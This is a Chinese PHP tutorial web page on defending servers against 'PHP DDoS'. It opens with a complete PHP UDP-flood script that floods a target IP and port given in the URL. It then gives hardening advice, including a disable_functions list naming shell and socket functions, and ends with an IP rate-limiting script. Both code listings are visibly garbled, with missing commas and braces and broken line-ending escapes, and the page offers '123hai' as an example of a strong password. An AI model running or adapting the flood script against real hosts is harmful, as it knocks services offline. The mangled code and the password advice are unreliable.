网站地图    收藏   

主页 > php专栏 > php应用 >

PHP DDos的几个防御方法详解 - php高级应用

来源:自学PHP网    时间:2014-11-27 22:16 作者: 阅读:

[导读] PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法.......

PHP DDos的几个防御方法详解

PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法.

我们先来看php ddos代码,代码如下:

  1. <?php 
  2. $packets = 0;  
  3. $ip = $_GET['ip'];  
  4. $rand = $_GET['port'];  
  5. set_time_limit(0);  
  6. ignore_user_abort(FALSE); 
  7. $exec_time = $_GET['time']; 
  8. $time = time();  
  9. print "Flooded: $ip on port $rand 
  10. ";  
  11. $max_time = $time+$exec_time
  12.  
  13. for($i=0;$i<65535;$i++){  
  14. $out .= "X";  
  15. }  
  16. while(1){  
  17. $packets++;  
  18. if(time() > $max_time){  
  19. break;  
  20. $fp = fsockopen("udp://$ip"$rand$errno$errstr, 5);  
  21. if($fp){  
  22. fwrite($fp$out);  
  23. fclose($fp);  
  24. }  
  25. //开源代码phpfensi.com 
  26. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging "round($packets/$exec_time, 2) . " packets/s n";  
  27. ?> 

细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了.

于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法.

注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作.

1.打开php.ini,2.禁用危险函数

由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数,找到disable_functions,将前面的“;”去掉,在等号后面增加如下代码:

phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,proc_get_status,fsocket,fsockopen

3.设置PHP执行超时时间

如果程序未执行结束但已经达到最大执行时间,则会被强制停止,请根据需要调整时间,找到max_execution_time,将前面的“;”去掉,在等号后面增加正整数,单位为秒,如:30

4.禁用上传目录PHP执行权限

大概分为三种服务器:IIS,Apache、Nginx,具体步骤就不写了.

5.一个很暴力的方法

直接禁止PHP执行,原因是很多站点都可以生成静态网页的,每次生成或者管理都去手工打开PHP执行权限,现在已经有几个用户使用这种方法了,具体方法参见方法4

6.关闭用户中心

比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在.

7.修改管理员目录

这个方法就不细谈了,并不是对所有程序都适合.

8.修改默认管理帐号

很多人都习惯使用:admin 但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名.

9.一个复杂且记得住的密码

不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai.

后再再附一个php防ddos攻击的代码,代码如下:

  1. <?php   
  2. //查询禁止IP   
  3. $ip =$_SERVER['REMOTE_ADDR'];   
  4. $fileht=".htaccess2";   
  5. if(!file_exists($fileht))file_put_contents($fileht,"");   
  6. $filehtarr=@file($fileht);   
  7. if(in_array($ip."rn",$filehtarr))die("Warning:"."<br>"."Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!");  
  8.  
  9. //加入禁止IP   
  10. $time=time();   
  11. $fileforbid="log/forbidchk.dat";   
  12. if(file_exists($fileforbid))   
  13. if($time-filemtime($fileforbid)>60)unlink($fileforbid);   
  14. else{   
  15. $fileforbidarr=@file($fileforbid);   
  16. if($ip==substr($fileforbidarr[0],0,strlen($ip)))   
  17. {   
  18. if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid);  
  19. elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);}   
  20. else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);}   
  21. }   
  22. }   
  23. }   
  24. //防刷新   
  25. $str="";   
  26. $file="log/ipdate.dat";   
  27. if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777);   
  28. if(!file_exists($file))file_put_contents($file,"");   
  29. $allowTime = 120;//防刷新时间   
  30. $allowNum=10;//防刷新次数   
  31. $uri=$_SERVER['REQUEST_URI'];   
  32. $checkip=md5($ip);   
  33. $checkuri=md5($uri);   
  34. $yesno=true;   
  35. $ipdate=@file($file);   
  36. foreach($ipdate as $k=>$v)   
  37. $iptem=substr($v,0,32);   
  38. $uritem=substr($v,32,32);   
  39. $timetem=substr($v,64,10);   
  40. $numtem=substr($v,74);   
  41. if($time-$timetem<$allowTime){   
  42. if($iptem!=$checkip)$str.=$v;   
  43. else{   
  44. $yesno=false;   
  45. if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn";   
  46. elseif($numtem<$allowNum)$str.=$iptem.$uritem.$timetem.($numtem+1)."rn";   
  47. else   
  48. {   
  49. if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);}   
  50. file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND);   
  51. $timepass=$timetem+$allowTime-$time;   
  52. die("Warning:"."<br>"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!");   
  53. }   
  54. }   
  55. }  //开源代码phpfensi.com 
  56. }   
  57. if($yesno$str.=$checkip.$checkuri.$time."1rn";   
  58. file_put_contents($file,$str);   
  59. ?> 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论